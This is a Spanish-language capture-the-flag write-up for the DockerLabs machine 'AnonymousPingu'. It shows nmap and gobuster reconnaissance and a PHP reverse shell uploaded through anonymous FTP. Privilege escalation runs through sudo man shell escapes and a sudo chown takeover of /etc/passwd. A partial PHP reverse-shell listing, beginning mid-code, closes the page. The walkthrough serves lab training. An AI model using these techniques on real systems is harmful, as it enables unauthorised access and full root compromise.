> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/anonymouspingu.md).
# AnonymousPingu
## Máquina
## Reconocimiento
### Nmap
```bash
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN nmap.txt
```
```
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 7816 Nov 25 2019 about.html
| -rw-r--r-- 1 0 0 8102 Nov 25 2019 contact.html
| drwxr-xr-x 2 0 0 4096 Jan 01 1970 css
| drwxr-xr-x 2 0 0 4096 Apr 28 18:28 heustonn-html
| drwxr-xr-x 2 0 0 4096 Oct 23 2019 images
| -rw-r--r-- 1 0 0 20162 Apr 28 18:32 index.html
| drwxr-xr-x 2 0 0 4096 Oct 23 2019 js
| -rw-r--r-- 1 0 0 9808 Nov 25 2019 service.html
|_drwxrwxrwx 1 33 33 4096 Apr 28 21:08 upload [NSE: writeable]
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Mantenimiento
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```
### Gobuster
```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```
```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 309] [--> http://172.17.0.2/images/]
/upload (Status: 301) [Size: 309] [--> http://172.17.0.2/upload/]
/css (Status: 301) [Size: 306] [--> http://172.17.0.2/css/]
/js (Status: 301) [Size: 305] [--> http://172.17.0.2/js/]
/server-status (Status: 403) [Size: 275]
===============================================================
Finished
===============================================================
```
## Explotación
### FTP
Como podemos ver, nmap nos saca mucha información sobre este protocolo:
Básicamente nos da un usuario, que es ftp, y algunos archivos que hay ahí; vamos a conectarnos usando este user.
Se me ocurre que podemos intentar subir una reverse shell, ya que si nos fijamos, podemos ver que en el directorio upload tenemos permisos de lectura, escritura y ejecución.
Subimos la shell con `put`:
{% hint style="info" %}
Nota: Si no sabéis hacer una shell o necesitáis una en un lenguaje en especifico podéis usar esta pagina: [Online - Reverse Shell](https://www.revshells.com/).
{% endhint %}
{% hint style="info" %}
Nota: La shell que he usado esta al final del write up, [aquí](#shell-utilizada).
{% endhint %}
## Acceso
Con la shell subida, nos ponemos en escucha con `nc`:
```bash
nc -lvp 2222
```
A continuación entramos en la web, en el directorio de `upload`:
Y ya tendríamos una reverse shell:
## Escalado de privilegios
### Usuario www-data
Nota: Al ver quienes somo vemos que somos el usuario `www-data`, usuario muy común, con pocos privilegios y encargado de la web.
[Tratamos la TTY](broken://spaces/DlUOSuj7BKSAUaWFSm4x/pages/GESCDnUmkMQE3DTKET6U)
Vemos que permisos tenemos:
Vemos que tenemos permiso de man con el usuario `pingu`.
Por lo que podemos explotar ese binario, primero ejecutamos el binario con `sudo` y el usuario `pingu`, y a continuación escribimos `!/bin/sh`.
De esta manera conseguimos acceso al usuario `pingu`.
### Usuario pingu
Con este usuario nos pasa lo mismo que con `www-data`, tiene permisos como el usuario `gladys`.
La explotación es muy parecida a la del usuario anterior:
De esta forma somos el usuario `gladys`.
### Usuario gladys
Siendo `gladys` tenemos permisos con `root` en `/usr/bin/chown`:
Para explotar este binario lo mas sencillo es ponernos como propietarios del archivo `/etc/passwd`.
{% hint style="info" %}
Nota: Para entender mejor el fichero passwd [pulsa aquí](#passwd).
{% endhint %}
{% hint style="info" %}
Nota: Si intentamos editar este fichero no nos dejara porque no esta nano u otro editor de texto instalado, por lo que no podremos editarlo de esta forma.
{% endhint %}
La forma más sencilla que se me ha ocurrido es copiar el contenido de passwd y llevármelo a maquina para editarlo.
Lo único que he hecho a sido quitarle la contraseña a root.
Después se mete todo de nuevo en el archivo:
Por ultimo habría que cambiarse a root y ya estaría:
## Conclusion
Maquina muy interesante, destacando en su escalado de privilegios, ya que hay que pasar por 3 usuarios diferentes y explotar binarios diferentes por cada usuario.
***
## Recursos e información adicional
#### Pagina de explotación de binarios
{% embed url="" %}
#### Passwd
#### Shell utilizada
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
